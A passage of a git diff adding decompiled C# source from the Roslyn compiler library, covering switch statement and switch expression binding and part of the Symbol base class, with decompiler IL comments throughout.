due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(SwitchSyntax.Sections.Count); + defaultLabel = null; + Enumerator enumerator = SwitchSyntax.Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchSectionSyntax current = enumerator.Current; + BoundSwitchSection boundSwitchSection = BindSwitchSection(current, originalBinder, ref defaultLabel, diagnostics); + instance.Add(boundSwitchSection); + } + return instance.ToImmutableAndFree(); + } + + private BoundSwitchSection BindSwitchSection(SwitchSectionSyntax node, Binder originalBinder, ref BoundSwitchLabel defaultLabel, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(node.Labels.Count); + Binder binder = originalBinder.GetBinder((SyntaxNode)(object)node); + Dictionary labelsByNode = LabelsByNode; + Enumerator enumerator = node.Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchLabelSyntax current = enumerator.Current; + LabelSymbol label = labelsByNode[(SyntaxNode)(object)current]; + BoundSwitchLabel boundSwitchLabel = BindSwitchSectionLabel(binder, current, label, ref defaultLabel, diagnostics); + instance.Add(boundSwitchLabel); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(node.Statements.Count); + Enumerator enumerator2 = node.Statements.GetEnumerator(); + while (enumerator2.MoveNext()) + { + StatementSyntax current2 = enumerator2.Current; + BoundStatement boundStatement = binder.BindStatement(current2, diagnostics); + if (ContainsUsingVariable(boundStatement)) + { + diagnostics.Add(ErrorCode.ERR_UsingVarInSwitchCase, ((SyntaxNode)current2).Location); + } + instance2.Add(boundStatement); + } + return new BoundSwitchSection((SyntaxNode)(object)node, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)node), instance.ToImmutableAndFree(), instance2.ToImmutableAndFree()); + } + + internal static bool ContainsUsingVariable(BoundStatement boundStatement) + { + if (boundStatement is BoundLocalDeclaration boundLocalDeclaration) + { + return boundLocalDeclaration.LocalSymbol.IsUsing; + } + if (boundStatement is BoundMultipleLocalDeclarationsBase boundMultipleLocalDeclarationsBase && !boundMultipleLocalDeclarationsBase.LocalDeclarations.IsDefaultOrEmpty) + { + return boundMultipleLocalDeclarationsBase.LocalDeclarations[0].LocalSymbol.IsUsing; + } + return false; + } + + private BoundSwitchLabel BindSwitchSectionLabel(Binder sectionBinder, SwitchLabelSyntax node, LabelSymbol label, ref BoundSwitchLabel defaultLabel, BindingDiagnosticBag diagnostics) + { + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.CaseSwitchLabel: + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = (CaseSwitchLabelSyntax)node; + bool hasErrors = ((SyntaxNode)node).HasErrors; + BoundPattern boundPattern = sectionBinder.BindConstantPatternWithFallbackToTypePattern((SyntaxNode)(object)caseSwitchLabelSyntax.Value, caseSwitchLabelSyntax.Value, SwitchGoverningType, hasErrors, diagnostics); + boundPattern.WasCompilerGenerated = true; + reportIfConstantNamedUnderscore(boundPattern, caseSwitchLabelSyntax.Value); + return new BoundSwitchLabel((SyntaxNode)(object)node, label, boundPattern, null, boundPattern.HasErrors); + } + case SyntaxKind.DefaultSwitchLabel: + { + BoundDiscardPattern boundDiscardPattern = new BoundDiscardPattern((SyntaxNode)(object)node, SwitchGoverningType, SwitchGoverningType); + bool hasErrors2 = boundDiscardPattern.HasErrors; + if (defaultLabel != null) + { + diagnostics.Add(ErrorCode.ERR_DuplicateCaseLabel, ((SyntaxNode)node).Location, label.Name); + hasErrors2 = true; + return new BoundSwitchLabel((SyntaxNode)(object)node, label, boundDiscardPattern, null, hasErrors2); + } + return defaultLabel = new BoundSwitchLabel((SyntaxNode)(object)node, label, boundDiscardPattern, null, hasErrors2); + } + case SyntaxKind.CasePatternSwitchLabel: + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = (CasePatternSwitchLabelSyntax)node; + MessageID.IDS_FeaturePatternMatching.CheckFeatureAvailability(diagnostics, node.Keyword); + BoundPattern pattern = sectionBinder.BindPattern(casePatternSwitchLabelSyntax.Pattern, SwitchGoverningType, permitDesignations: true, ((SyntaxNode)node).HasErrors, diagnostics); + if (casePatternSwitchLabelSyntax.Pattern is ConstantPatternSyntax constantPatternSyntax) + { + reportIfConstantNamedUnderscore(pattern, constantPatternSyntax.Expression); + } + return new BoundSwitchLabel((SyntaxNode)(object)node, label, pattern, (casePatternSwitchLabelSyntax.WhenClause != null) ? sectionBinder.BindBooleanExpression(casePatternSwitchLabelSyntax.WhenClause.Condition, diagnostics) : null, ((SyntaxNode)node).HasErrors); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node); + } + void reportIfConstantNamedUnderscore(BoundPattern boundPattern2, ExpressionSyntax expression) + { + if (boundPattern2 is BoundConstantPattern && !boundPattern2.HasErrors && Binder.IsUnderscore(expression)) + { + diagnostics.Add(ErrorCode.WRN_CaseConstantNamedUnderscore, ((SyntaxNode)expression).Location); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionArmBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionArmBinder.cs new file mode 100644 index 0000000..09ad483 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionArmBinder.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SwitchExpressionArmBinder : Binder +{ + private readonly SwitchExpressionArmSyntax _arm; + + private readonly ExpressionVariableBinder _armScopeBinder; + + private readonly SwitchExpressionBinder _switchExpressionBinder; + + public SwitchExpressionArmBinder(SwitchExpressionArmSyntax arm, ExpressionVariableBinder armScopeBinder, SwitchExpressionBinder switchExpressionBinder) + : base(armScopeBinder) + { + _arm = arm; + _armScopeBinder = armScopeBinder; + _switchExpressionBinder = switchExpressionBinder; + } + + internal BoundSwitchExpressionArm BindSwitchExpressionArm(SwitchExpressionArmSyntax node, BindingDiagnosticBag diagnostics) + { + TypeSymbol inputType = _switchExpressionBinder.GetInputType(); + return BindSwitchExpressionArm(node, inputType, diagnostics); + } + + internal override BoundSwitchExpressionArm BindSwitchExpressionArm(SwitchExpressionArmSyntax node, TypeSymbol switchGoverningType, BindingDiagnosticBag diagnostics) + { + Binder requiredBinder = GetRequiredBinder((SyntaxNode)(object)node); + bool flag = switchGoverningType.IsErrorType(); + ImmutableArray locals = _armScopeBinder.Locals; + BoundPattern boundPattern = requiredBinder.BindPattern(node.Pattern, switchGoverningType, permitDesignations: true, flag, diagnostics); + BoundExpression whenClause = ((node.WhenClause != null) ? requiredBinder.BindBooleanExpression(node.WhenClause.Condition, diagnostics) : null); + BoundExpression value = requiredBinder.BindValue(node.Expression, diagnostics, BindValueKind.RValue); + GeneratedLabelSymbol label = new GeneratedLabelSymbol("arm"); + return new BoundSwitchExpressionArm((SyntaxNode)(object)node, locals, boundPattern, whenClause, value, label, flag | boundPattern.HasErrors); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionBinder.cs new file mode 100644 index 0000000..bddae5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchExpressionBinder.cs @@ -0,0 +1,180 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SwitchExpressionBinder : Binder +{ + private readonly SwitchExpressionSyntax SwitchExpressionSyntax; + + internal SwitchExpressionBinder(SwitchExpressionSyntax switchExpressionSyntax, Binder next) + : base(next) + { + SwitchExpressionSyntax = switchExpressionSyntax; + } + + internal override BoundExpression BindSwitchExpressionCore(SwitchExpressionSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindSwitchGoverningExpression(diagnostics); + ImmutableArray immutableArray = BindSwitchExpressionArms(node, originalBinder, boundExpression, diagnostics); + TypeSymbol type = InferResultType(immutableArray, diagnostics); + LabelSymbol defaultLabel; + BoundDecisionDag decisionDag; + bool reportedNotExhaustive = CheckSwitchExpressionExhaustive(node, boundExpression, immutableArray, out decisionDag, out defaultLabel, diagnostics); + decisionDag = decisionDag.SimplifyDecisionDagIfConstantInput(boundExpression); + return new BoundUnconvertedSwitchExpression((SyntaxNode)(object)node, boundExpression, immutableArray, decisionDag, defaultLabel, reportedNotExhaustive, type); + } + + private bool CheckSwitchExpressionExhaustive(SwitchExpressionSyntax node, BoundExpression boundInputExpression, ImmutableArray switchArms, out BoundDecisionDag decisionDag, [NotNullWhen(true)] out LabelSymbol? defaultLabel, BindingDiagnosticBag diagnostics) + { + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + defaultLabel = new GeneratedLabelSymbol("default"); + decisionDag = DecisionDagBuilder.CreateDecisionDagForSwitchExpression(base.Compilation, (SyntaxNode)(object)node, boundInputExpression, switchArms, defaultLabel, diagnostics); + ImmutableHashSet reachableLabels = decisionDag.ReachableLabels; + bool flag = false; + ImmutableArray.Enumerator enumerator = switchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + flag |= current.HasErrors; + if (!flag && !reachableLabels.Contains(current.Label)) + { + diagnostics.Add(ErrorCode.ERR_SwitchArmSubsumed, current.Pattern.Syntax.Location); + } + } + if (!reachableLabels.Contains(defaultLabel)) + { + defaultLabel = null; + return false; + } + if (flag) + { + return true; + } + ImmutableArray nodes = default(ImmutableArray); + TopologicalSort.TryIterativeSort(decisionDag.RootNode, (TopologicalSortAddSuccessors)addNonNullSuccessors, ref nodes); + ImmutableArray.Enumerator enumerator2 = nodes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundDecisionDagNode current2 = enumerator2.Current; + if (current2 is BoundLeafDecisionDagNode boundLeafDecisionDagNode && boundLeafDecisionDagNode.Label == defaultLabel) + { + bool requiresFalseWhenClause; + bool unnamedEnumValue; + string text = PatternExplainer.SamplePatternForPathToDagNode(BoundDagTemp.ForOriginalInput(boundInputExpression), nodes, current2, nullPaths: false, out requiresFalseWhenClause, out unnamedEnumValue); + ErrorCode code = (requiresFalseWhenClause ? ErrorCode.WRN_SwitchExpressionNotExhaustiveWithWhen : (unnamedEnumValue ? ErrorCode.WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue : ErrorCode.WRN_SwitchExpressionNotExhaustive)); + SyntaxToken switchKeyword = node.SwitchKeyword; + diagnostics.Add(code, ((SyntaxToken)(ref switchKeyword)).GetLocation(), text); + return true; + } + } + return false; + static void addNonNullSuccessors(ref TemporaryArray builder, BoundDecisionDagNode n) + { + if (n is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + BoundDagTest test = boundTestDecisionDagNode.Test; + if (!(test is BoundDagNonNullTest)) + { + if (test is BoundDagExplicitNullTest) + { + builder.Add(boundTestDecisionDagNode.WhenFalse); + } + else + { + BoundDecisionDag.AddSuccessors(ref builder, n); + } + } + else + { + builder.Add(boundTestDecisionDagNode.WhenTrue); + } + } + else + { + BoundDecisionDag.AddSuccessors(ref builder, n); + } + } + } + + private TypeSymbol? InferResultType(ImmutableArray switchCases, BindingDiagnosticBag diagnostics) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + PooledHashSet pooledSymbolHashSetInstance = SpecializedSymbolCollections.GetPooledSymbolHashSetInstance(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = switchCases.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeSymbol type = enumerator.Current.Value.Type; + if ((object)type != null && ((HashSet)(object)pooledSymbolHashSetInstance).Add(type)) + { + instance.Add(type); + } + } + pooledSymbolHashSetInstance.Free(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + TypeSymbol typeSymbol = BestTypeInferrer.GetBestType(instance, base.Conversions, ref useSiteInfo); + instance.Free(); + if ((object)typeSymbol != null) + { + enumerator = switchCases.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + if (!base.Conversions.ClassifyImplicitConversionFromExpression(current.Value, typeSymbol, ref useSiteInfo).Exists) + { + typeSymbol = null; + break; + } + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)SwitchExpressionSyntax, useSiteInfo); + return typeSymbol; + } + + private ImmutableArray BindSwitchExpressionArms(SwitchExpressionSyntax node, Binder originalBinder, BoundExpression inputExpression, BindingDiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + TypeSymbol inputType = GetInputType(inputExpression); + Enumerator enumerator = node.Arms.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchExpressionArmSyntax current = enumerator.Current; + BoundSwitchExpressionArm boundSwitchExpressionArm = originalBinder.GetRequiredBinder((SyntaxNode)(object)current).BindSwitchExpressionArm(current, inputType, diagnostics); + instance.Add(boundSwitchExpressionArm); + } + return instance.ToImmutableAndFree(); + } + + internal TypeSymbol GetInputType(BoundExpression? inputExpression = null) + { + if (inputExpression == null) + { + inputExpression = BindSwitchGoverningExpression(BindingDiagnosticBag.Discarded); + } + return inputExpression.Type; + } + + private BoundExpression BindSwitchGoverningExpression(BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindRValueWithoutTargetType(SwitchExpressionSyntax.GoverningExpression, diagnostics); + if ((object)boundExpression.Type == null || boundExpression.Type.IsVoidType()) + { + diagnostics.Add(ErrorCode.ERR_BadPatternExpression, ((SyntaxNode)SwitchExpressionSyntax.GoverningExpression).Location, boundExpression.Display); + boundExpression = GenerateConversionForAssignment(CreateErrorType(), boundExpression, diagnostics); + } + return boundExpression; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Symbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Symbol.cs new file mode 100644 index 0000000..014bf8f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Symbol.cs @@ -0,0 +1,2151 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Globalization; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class Symbol : IReference, ISymbolInternal, IFormattable +{ + [Flags] + internal enum AllowedRequiredModifierType + { + None = 0, + System_Runtime_CompilerServices_Volatile = 1, + System_Runtime_InteropServices_InAttribute = 2, + System_Runtime_CompilerServices_IsExternalInit = 4, + System_Runtime_CompilerServices_OutAttribute = 8 + } + + [Flags] + internal enum ReservedAttributes + { + DynamicAttribute = 2, + IsReadOnlyAttribute = 4, + IsUnmanagedAttribute = 8, + IsByRefLikeAttribute = 0x10, + TupleElementNamesAttribute = 0x20, + NullableAttribute = 0x40, + NullableContextAttribute = 0x80, + NullablePublicOnlyAttribute = 0x100, + NativeIntegerAttribute = 0x200, + CaseSensitiveExtensionAttribute = 0x400, + RequiredMemberAttribute = 0x800, + ScopedRefAttribute = 0x1000, + RefSafetyRulesAttribute = 0x2000, + RequiresLocationAttribute = 0x4000 + } + + private ISymbol _lazyISymbol; + + private static readonly SymbolDisplayFormat s_debuggerDisplayFormat = SymbolDisplayFormat.TestFormat.AddMiscellaneousOptions((SymbolDisplayMiscellaneousOptions)320).WithCompilerInternalOptions((SymbolDisplayCompilerInternalOptions)256); + + internal Symbol AdaptedSymbol => this; + + internal virtual bool RequiresCompletion => false; + + public virtual string Name => string.Empty; + + public virtual string MetadataName => Name; + + public virtual int MetadataToken => 0; + + public abstract SymbolKind Kind { get; } + + public abstract Symbol ContainingSymbol { get; } + + public virtual NamedTypeSymbol ContainingType + { + get + { + Symbol containingSymbol = ContainingSymbol; + NamedTypeSymbol namedTypeSymbol = containingSymbol as NamedTypeSymbol; + if ((object)namedTypeSymbol == containingSymbol) + { + return namedTypeSymbol; + } + return containingSymbol.ContainingType; + } + } + + public virtual NamespaceSymbol ContainingNamespace + { + get + { + Symbol containingSymbol = ContainingSymbol; + while ((object)containingSymbol != null) + { + if (containingSymbol is NamespaceSymbol result) + { + return result; + } + containingSymbol = containingSymbol.ContainingSymbol; + } + return null; + } + } + + public virtual AssemblySymbol ContainingAssembly => ContainingSymbol?.ContainingAssembly; + + internal virtual CSharpCompilation DeclaringCompilation + { + get + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + if (!IsDefinition) + { + return OriginalDefinition.DeclaringCompilation; + } + SymbolKind kind = Kind; + if ((int)kind != 2) + { + if ((int)kind != 4) + { + if ((int)kind == 10) + { + return null; + } + ModuleSymbol containingModule = ContainingModule; + if (!(containingModule is SourceModuleSymbol sourceModuleSymbol)) + { + if (containingModule is PEModuleSymbol) + { + return ContainingSymbol?.DeclaringCompilation; + } + return null; + } + return sourceModuleSymbol.DeclaringCompilation; + } + return null; + } + return null; + } + } + + Compilation ISymbolInternal.DeclaringCompilation => (Compilation)(object)DeclaringCompilation; + + string ISymbolInternal.Name => Name; + + string ISymbolInternal.MetadataName => MetadataName; + + ISymbolInternal ISymbolInternal.ContainingSymbol => (ISymbolInternal)(object)ContainingSymbol; + + IModuleSymbolInternal ISymbolInternal.ContainingModule => (IModuleSymbolInternal)(object)ContainingModule; + + IAssemblySymbolInternal ISymbolInternal.ContainingAssembly => (IAssemblySymbolInternal)(object)ContainingAssembly; + + ImmutableArray ISymbolInternal.Locations => Locations; + + INamespaceSymbolInternal ISymbolInternal.ContainingNamespace => (INamespaceSymbolInternal)(object)ContainingNamespace; + + bool ISymbolInternal.IsImplicitlyDeclared => IsImplicitlyDeclared; + + INamedTypeSymbolInternal ISymbolInternal.ContainingType => (INamedTypeSymbolInternal)(object)ContainingType; + + internal virtual ModuleSymbol ContainingModule => ContainingSymbol?.ContainingModule; + + internal virtual int? MemberIndexOpt => null; + + public Symbol OriginalDefinition => OriginalSymbolDefinition; + + protected virtual Symbol OriginalSymbolDefinition => this; + + public bool IsDefinition => (object)this == OriginalDefinition; + + public abstract ImmutableArray Locations { get; } + + public abstract ImmutableArray DeclaringSyntaxReferences { get; } + + public abstract Accessibility DeclaredAccessibility { get; } + + public abstract bool IsStatic { get; } + + public abstract bool IsVirtual { get; } + + public abstract bool IsOverride { get; } + + public abstract bool IsAbstract { get; } + + public abstract bool IsSealed { get; } + + public abstract bool IsExtern { get; } + + public virtual bool IsImplicitlyDeclared => false; + + public bool CanBeReferencedByName + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected I4, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Expected I4, but got Unknown + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Invalid comparison between Unknown and I4 + SymbolKind kind = Kind; + switch ((int)kind) + { + case 0: + case 7: + case 8: + case 16: + return true; + case 11: + if (((NamedTypeSymbol)this).IsSubmissionClass) + { + return false; + } + break; + case 15: + { + PropertySymbol propertySymbol = (PropertySymbol)this; + if (propertySymbol.IsIndexer || propertySymbol.MustCallMethodsDirectly) + { + return false; + } + break; + } + case 9: + { + MethodSymbol methodSymbol = (MethodSymbol)this; + MethodKind methodKind = methodSymbol.MethodKind; + switch (methodKind - 3) + { + default: + if ((int)methodKind == 17) + { + break; + } + goto case 2; + case 1: + return true; + case 0: + return true; + case 8: + case 9: + if (!((PropertySymbol)methodSymbol.AssociatedSymbol).CanCallMethodsDirectly()) + { + return false; + } + break; + case 2: + case 3: + case 4: + case 5: + case 6: + return false; + case 7: + case 10: + break; + } + break; + } + case 1: + case 2: + case 3: + case 10: + case 14: + case 19: + case 20: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)Kind); + case 4: + case 5: + case 6: + case 12: + case 13: + case 17: + break; + } + if (SyntaxFacts.IsValidIdentifier(Name)) + { + return !SyntaxFacts.ContainsDroppedIdentifierCharacters(Name); + } + return false; + } + } + + internal bool CanBeReferencedByNameIgnoringIllegalCharacters + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + if ((int)Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)this; + MethodKind methodKind = methodSymbol.MethodKind; + if ((int)methodKind <= 10) + { + if (methodKind - 3 <= 1 || (int)methodKind == 10) + { + goto IL_0036; + } + } + else + { + if (methodKind - 11 <= 1) + { + return ((PropertySymbol)methodSymbol.AssociatedSymbol).CanCallMethodsDirectly(); + } + if ((int)methodKind == 17) + { + goto IL_0036; + } + } + return false; + } + return true; + IL_0036: + return true; + } + } + + internal bool Dangerous_IsFromSomeCompilation => DeclaringCompilation != null; + + internal bool HasUseSiteError + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo == null) + { + return false; + } + return (int)diagnosticInfo.Severity == 3; + } + } + + protected AssemblySymbol PrimaryDependency + { + get + { + AssemblySymbol containingAssembly = ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.CorLibrary == containingAssembly) + { + return null; + } + return containingAssembly; + } + } + + public virtual bool HasUnsupportedMetadata => false; + + internal ThreeState ObsoleteState + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected I4, but got Unknown + ObsoleteAttributeKind obsoleteKind = ObsoleteKind; + switch ((int)obsoleteKind) + { + case 0: + case 4: + case 5: + return (ThreeState)1; + case 1: + return (ThreeState)0; + default: + return (ThreeState)2; + } + } + } + + internal ThreeState ExperimentalState + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + ObsoleteAttributeKind obsoleteKind = ObsoleteKind; + if ((int)obsoleteKind != 1) + { + if ((int)obsoleteKind != 5) + { + return (ThreeState)1; + } + return (ThreeState)2; + } + return (ThreeState)0; + } + } + + internal ObsoleteAttributeKind ObsoleteKind => (ObsoleteAttributeKind)(((_003F?)ObsoleteAttributeData?.Kind) ?? 0); + + internal abstract ObsoleteAttributeData? ObsoleteAttributeData { get; } + + bool ISymbolInternal.IsStatic => IsStatic; + + bool ISymbolInternal.IsVirtual => IsVirtual; + + bool ISymbolInternal.IsOverride => IsOverride; + + bool ISymbolInternal.IsAbstract => IsAbstract; + + Accessibility ISymbolInternal.DeclaredAccessibility => DeclaredAccessibility; + + internal ISymbol ISymbol + { + get + { + if (_lazyISymbol == null) + { + Interlocked.CompareExchange(ref _lazyISymbol, CreateISymbol(), null); + } + return _lazyISymbol; + } + } + + public static bool IsSymbolAccessible(Symbol symbol, NamedTypeSymbol within, NamedTypeSymbol throughTypeOpt = null) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol == null) + { + throw new ArgumentNullException("symbol"); + } + if ((object)within == null) + { + throw new ArgumentNullException("within"); + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return AccessCheck.IsSymbolAccessible(symbol, within, ref useSiteInfo, throughTypeOpt); + } + + public static bool IsSymbolAccessible(Symbol symbol, AssemblySymbol within) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol == null) + { + throw new ArgumentNullException("symbol"); + } + if ((object)within == null) + { + throw new ArgumentNullException("within"); + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return AccessCheck.IsSymbolAccessible(symbol, within, ref useSiteInfo); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/SymbolAdapter.cs", 31); + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return (ISymbolInternal)(object)AdaptedSymbol; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/SymbolAdapter.cs", 38); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (IEnumerable)AdaptedSymbol.GetCustomAttributesToEmit((PEModuleBuilder)(object)context.Module); + } + + internal Symbol GetCciAdapter() + { + return this; + } + + [Conditional("DEBUG")] + protected internal void CheckDefinitionInvariant() + { + } + + IReference ISymbolInternal.GetCciAdapter() + { + return (IReference)(object)GetCciAdapter(); + } + + internal bool IsDefinitionOrDistinct() + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!IsDefinition) + { + return !Equals(OriginalDefinition, SymbolEqualityComparer.ConsiderEverything.CompareKind); + } + return true; + } + + internal virtual IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return GetCustomAttributesToEmit(moduleBuilder, emittingAssemblyAttributesInNetModule: false); + } + + internal IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder, bool emittingAssemblyAttributesInNetModule) + { + ArrayBuilder attributes = null; + ImmutableArray attributes2 = GetAttributes(); + AddSynthesizedAttributes(moduleBuilder, ref attributes); + return GetCustomAttributesToEmit(attributes2, attributes, isReturnType: false, emittingAssemblyAttributesInNetModule); + } + + internal IEnumerable GetCustomAttributesToEmit(ImmutableArray userDefined, ArrayBuilder synthesized, bool isReturnType, bool emittingAssemblyAttributesInNetModule) + { + if (userDefined.IsEmpty && synthesized == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return 